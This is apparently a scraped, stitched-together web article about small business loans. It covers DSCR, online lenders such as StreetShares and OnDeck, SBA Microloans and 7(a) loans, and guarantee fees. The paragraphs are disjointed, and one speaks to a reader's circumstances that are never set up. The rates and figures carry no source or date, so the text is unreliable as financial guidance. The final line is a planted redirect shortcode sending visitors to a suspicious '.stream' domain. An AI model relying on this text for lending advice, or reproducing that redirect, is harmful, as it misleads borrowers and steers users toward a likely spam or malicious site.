A small business loan is money borrowed to start, grow, or keep a small business afloat. Additionally, there are a few different small business loan types. Some of them are secured, meaning that you used some type of asset as collateral against the loan; and others are unsecured, meaning they’re not attached to an asset but are granted based on your credit.
Let’s take an average month of operations sales and expenses. Let’s assume the cash flow of your small business is $6,000 (gross sales minus expenses). Now let’s assume that your loan payments will total $1,500 per month. That makes your DSCR a 4, which is pretty strong. Most lenders will look for a score of at least 1.5 and definitely above a score of 1. A DSCR of less than 1 means you don’t have enough free cash flow to repay your loan from business operations.
Since you’ve been in business more than a year and have decent credit, you may qualify for funding from StreetShares or OnDeck. If you have at least $25,000 in revenue, StreetShares offers a loan or line of credit up to $100,000. If you want more funding, OnDeck has term loans of up to $500,000. OnDeck’s loans, however, can be costlier, with APRs as high as 98%; StreetShares’ funding has a maximum 40% APR.
The SBA Microloan program provides loans to nonprofit intermediary lenders who in turn lend amounts under $50,000 to for-profit small businesses and nonprofit child care centers. The SBA does not guarantee any portion of the loans made under the SBA Microloan program. Microloans have terms up to 6 years and the average size is $14,215.
The trade off is that the SBA, as a federal agency, is promoting certain policy agendas. This results in SBA loans having strict requirements that the borrower must meet in order to qualify for the loan, including how the proceeds of the loan can be used.
With extra financing, your business will be able to pursue more strategic opportunities. Whether that means opening a new location, hiring staff or offering more inventory, your business loan can go a long way!
The maximum amount that can be borrowed with an SBA 7(a) loan is $5,000,000. While the SBA does not set a minimum loan amount, most lenders will not consider loans under $30,000. The average SBA 7(a) loan amount in fiscal year 2015 was $371,628.
The nonprofit intermediaries can borrow up to $750k from the SBA its first year and up to $1.25 million each year after that but can have no more the $5 million borrowed at any one time. In 2016, only $58 million was issued in microloans.
SBA guarantee fee: This is a fee charged by the Small Business Administration for all 7(a) loans it guarantees (the SBA will guarantee loans up to 85% of the loan amount). All SBA lenders are required to pay this fee (if applicable), and lenders have the option of passing this fee onto their borrowers. The guarantee fee is based on the loan’s repayment terms and the dollar amount guaranteed, not the total value of the loan. For loans under $150,000, there is no guarantee fee. For loans over $150,000 with terms of one year or less, the fee is 0.25% of the guaranteed portion. loans with terms longer than one year, the fee is 3% for loan amounts ranging from $150,000 to $700,000 and 3.5% for loans over $700,000. An additional 0.25% is charged for any guaranteed portion of more than $1 million.
Not only will we help you find the lender that’s right for you, but we’ll provide overall guidance through the SBA process and in-depth document review to ensure you have everything in line for approval. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]